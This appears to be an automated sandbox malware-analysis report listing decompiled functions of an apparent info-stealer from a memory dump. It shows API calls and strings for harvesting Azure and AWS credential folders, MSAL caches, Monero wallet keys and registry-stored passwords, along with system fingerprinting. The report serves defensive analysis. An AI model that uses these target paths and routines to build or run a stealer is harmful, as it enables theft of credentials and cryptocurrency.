Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 19c2bbd946fcb1f3a9b458abb24af29b25272f44fc96a084550925a47bb6b649
Instruction ID: f9b79a9921d88ccdd1902339df477ccd081d4657cfb725675defbc3e72a374f9
Opcode Fuzzy Hash: 19c2bbd946fcb1f3a9b458abb24af29b25272f44fc96a084550925a47bb6b649
Instruction Fuzzy Hash: E7E11E72910508ABCF19FBA0DC56EED737DAF65301F908528B506A6091EF346B0DCBD2

Function 00194D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00198DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00198E0B

lstrcat.KERNEL32(?,00000000), ref: 00194DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00194DCD

Part of subcall function 00194910: wsprintfA.USER32 ref: 0019492C
Part of subcall function 00194910: FindFirstFileA.KERNEL32(?,?), ref: 00194943

lstrcat.KERNEL32(?,00000000), ref: 00194E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00194E59

Part of subcall function 00194910: StrCmpCA.SHLWAPI(?,001A0FDC), ref: 00194971
Part of subcall function 00194910: StrCmpCA.SHLWAPI(?,001A0FE0), ref: 00194987
Part of subcall function 00194910: FindNextFileA.KERNEL32(000000FF,?), ref: 00194B7D
Part of subcall function 00194910: FindClose.KERNEL32(000000FF), ref: 00194B92

lstrcat.KERNEL32(?,00000000), ref: 00194EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00194EE5

Part of subcall function 00194910: wsprintfA.USER32 ref: 001949B0
Part of subcall function 00194910: StrCmpCA.SHLWAPI(?,001A08D2), ref: 001949C5
Part of subcall function 00194910: wsprintfA.USER32 ref: 001949E2
Part of subcall function 00194910: PathMatchSpecA.SHLWAPI(?,?), ref: 00194A1E
Part of subcall function 00194910: lstrcat.KERNEL32(?,0134E500), ref: 00194A4A
Part of subcall function 00194910: lstrcat.KERNEL32(?,001A0FF8), ref: 00194A5C
Part of subcall function 00194910: lstrcat.KERNEL32(?,?), ref: 00194A70
Part of subcall function 00194910: lstrcat.KERNEL32(?,001A0FFC), ref: 00194A82
Part of subcall function 00194910: lstrcat.KERNEL32(?,?), ref: 00194A96
Part of subcall function 00194910: CopyFileA.KERNEL32(?,?,00000001), ref: 00194AAC
Part of subcall function 00194910: DeleteFileA.KERNEL32(?), ref: 00194B31

Strings

*.*, xrefs: 00194DD8
\.azure\, xrefs: 00194DC1
Azure\.IdentityService, xrefs: 00194EEB
\.IdentityService\, xrefs: 00194ED9
\.aws\, xrefs: 00194E4D
Azure\.aws, xrefs: 00194E5F
*.*, xrefs: 00194E64
msal.cache, xrefs: 00194EF0
Azure\.azure, xrefs: 00194DD3

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 4e415d654235614010f3e9ca8529287ec594c726684519f07703df0186b37e5b
Instruction ID: 4c7be0bea56f6831c87900787ce2ec7b2ea2278ed5860ebd456f37c43ac8d27d
Opcode Fuzzy Hash: 4e415d654235614010f3e9ca8529287ec594c726684519f07703df0186b37e5b
Instruction Fuzzy Hash: D14183BE94021867CB10F770EC47FE9363CAB25705F404454B245A60C2EFB46BC9CB92

Function 00181310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001812A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001812B4
Part of subcall function 001812A0: RtlAllocateHeap.NTDLL(00000000), ref: 001812BB
Part of subcall function 001812A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 001812D7
Part of subcall function 001812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001812F5
Part of subcall function 001812A0: RegCloseKey.ADVAPI32(?), ref: 001812FF

lstrcat.KERNEL32(?,00000000), ref: 0018134F
lstrlen.KERNEL32(?), ref: 0018135C
lstrcat.KERNEL32(?,.keys), ref: 00181377

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 00198B60: GetSystemTime.KERNEL32(001A0E1A,01349DE8,001A05AE,?,?,001813F9,?,0000001A,001A0E1A,00000000,?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 00198B86

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00181465

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001899EC
Part of subcall function 001899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00189A11
Part of subcall function 001899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00189A31
Part of subcall function 001899C0: ReadFile.KERNEL32(000000FF,?,00000000,0018148F,00000000), ref: 00189A5A
Part of subcall function 001899C0: LocalFree.KERNEL32(0018148F), ref: 00189A90
Part of subcall function 001899C0: CloseHandle.KERNEL32(000000FF), ref: 00189A9A

DeleteFileA.KERNEL32(00000000), ref: 001814EF

Strings

\Monero\wallet.keys, xrefs: 0018138D
.keys, xrefs: 0018136B
SOFTWARE\monero-project\monero-core, xrefs: 00181335
wallet_path, xrefs: 00181330

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: b087c88e79f2426a8e0e00ef4e1b25ed24aabe6008a626b70571bc520c01353c
Instruction ID: 9baf982328a6400280e62df458978cef7f70d942960ddb143631048487a1ee2d
Opcode Fuzzy Hash: b087c88e79f2426a8e0e00ef4e1b25ed24aabe6008a626b70571bc520c01353c
Instruction Fuzzy Hash: 725121B19501185BCB15FB60DD96EED737CAF64704F804198B60AA2081EF706B8ACFA6

Function 001875D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001872D0: memset.MSVCRT ref: 00187314
Part of subcall function 001872D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0018733A
Part of subcall function 001872D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001873B1
Part of subcall function 001872D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0018740D
Part of subcall function 001872D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00187452
Part of subcall function 001872D0: HeapFree.KERNEL32(00000000), ref: 00187459

lstrcat.KERNEL32(359DE020,001A17FC), ref: 00187606
lstrcat.KERNEL32(359DE020,00000000), ref: 00187648
lstrcat.KERNEL32(359DE020, : ), ref: 0018765A
lstrcat.KERNEL32(359DE020,00000000), ref: 0018768F
lstrcat.KERNEL32(359DE020,001A1804), ref: 001876A0
lstrcat.KERNEL32(359DE020,00000000), ref: 001876D3
lstrcat.KERNEL32(359DE020,001A1808), ref: 001876ED
task.LIBCPMTD ref: 001876FB

Strings

: , xrefs: 0018764E

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 2860cc8f0932e350f73c8ff39902463c66a6d4af3c5f2555e77088284726102b
Instruction ID: a72d7196bf95c97c7264c8b51007320a1c58938b47bd6b4a4b2e3ed320fda23d
Opcode Fuzzy Hash: 2860cc8f0932e350f73c8ff39902463c66a6d4af3c5f2555e77088284726102b
Instruction Fuzzy Hash: 83312975900609EFCB09FBA4DC99DEE7779AB54306F644118F102E7290DB34AA46CFA1

Function 001872D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00187314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0018733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 001873B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0018740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00187452
HeapFree.KERNEL32(00000000), ref: 00187459
task.LIBCPMTD ref: 00187555

Strings

Password, xrefs: 00187401

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: f1c5bc389be0538081e7b773b7b566c9a8cd62edf336b178d0d2cc14e823c25b
Instruction ID: 55259a5d53292cddafd7c101c40f1f5be4d7bb2716ce7da21aec7dcffa99af8f
Opcode Fuzzy Hash: f1c5bc389be0538081e7b773b7b566c9a8cd62edf336b178d0d2cc14e823c25b
Instruction Fuzzy Hash: 79612DB590425C9BDB24EB50CC45FE9B7B8BF54304F1081E9E649A6181DF70ABC9CF91

Function 00197500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00197542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0019757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197603
RtlAllocateHeap.NTDLL(00000000), ref: 0019760A
wsprintfA.USER32 ref: 00197640

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Strings

:, xrefs: 0019755C
\, xrefs: 00197560
C, xrefs: 0019754C

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 646bad121cd0c859eecb6ea05796d101f96d46e65fbf8495713882fe7ab0b0fc
Instruction ID: 43f84ac5c8b51af729f21bf983595a5690916472fecdc3816dd88f1f94f22563
Opcode Fuzzy Hash: 646bad121cd0c859eecb6ea05796d101f96d46e65fbf8495713882fe7ab0b0fc
Instruction Fuzzy Hash: CD418EB1D04258ABDF11DF94DC85FEEBBB8AF18704F100199F509A7280DB79AA44CBA5

Function 00198100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0134DBF8,00000000,?,001A0E2C,00000000,?,00000000), ref: 00198130
RtlAllocateHeap.NTDLL(00000000), ref: 00198137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00198158
__aulldiv.LIBCMT ref: 00198172
__aulldiv.LIBCMT ref: 00198180
wsprintfA.USER32 ref: 001981AC

Strings

@, xrefs: 0019814D
%d MB, xrefs: 001981A3

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
